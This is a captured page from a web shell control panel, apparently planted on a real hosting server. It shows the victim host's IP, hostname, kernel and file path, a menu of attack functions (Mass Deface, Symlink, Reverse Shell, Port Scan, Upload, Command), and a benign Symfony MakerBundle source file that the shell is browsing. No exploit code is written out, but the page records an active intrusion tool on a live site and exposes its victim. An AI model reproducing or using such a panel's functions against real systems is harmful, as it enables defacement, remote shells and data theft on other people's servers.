ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
maker-bundle
/
src
/
Doctrine
/
Viewing: EntityDetails.php
<?php /* * This file is part of the Symfony MakerBundle package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\MakerBundle\Doctrine; use Doctrine\Common\Persistence\Mapping\ClassMetadata as LegacyClassMetadata; use Doctrine\Persistence\Mapping\ClassMetadata; /** * @author Sadicov Vladimir <sadikoff@gmail.com> * * @internal */ final class EntityDetails { private $metadata; /** * @param ClassMetadata|LegacyClassMetadata $metadata */ public function __construct($metadata) { $this->metadata = $metadata; } public function getRepositoryClass(): ?string { return $this->metadata->customRepositoryClassName; } public function getIdentifier() { return $this->metadata->identifier[0]; } public function getDisplayFields(): array { return $this->metadata->fieldMappings; } public function getFormFields(): array { $fields = (array) $this->metadata->fieldNames; // Remove the primary key field if it's not managed manually if (!$this->metadata->isIdentifierNatural()) { $fields = array_diff($fields, $this->metadata->identifier); } $fields = array_values($fields); if (!empty($this->metadata->embeddedClasses)) { foreach (array_keys($this->metadata->embeddedClasses) as $embeddedClassKey) { $fields = array_filter($fields, function ($v) use ($embeddedClassKey) { return 0 !== strpos($v, $embeddedClassKey.'.'); }); } } foreach ($this->metadata->associationMappings as $fieldName => $relation) { if (\Doctrine\ORM\Mapping\ClassMetadata::ONE_TO_MANY !== $relation['type']) { $fields[] = $fieldName; } } $fieldsWithTypes = []; foreach ($fields as $field) { $fieldsWithTypes[$field] = null; } return $fieldsWithTypes; } }
Coded With 💗 by
0x6ick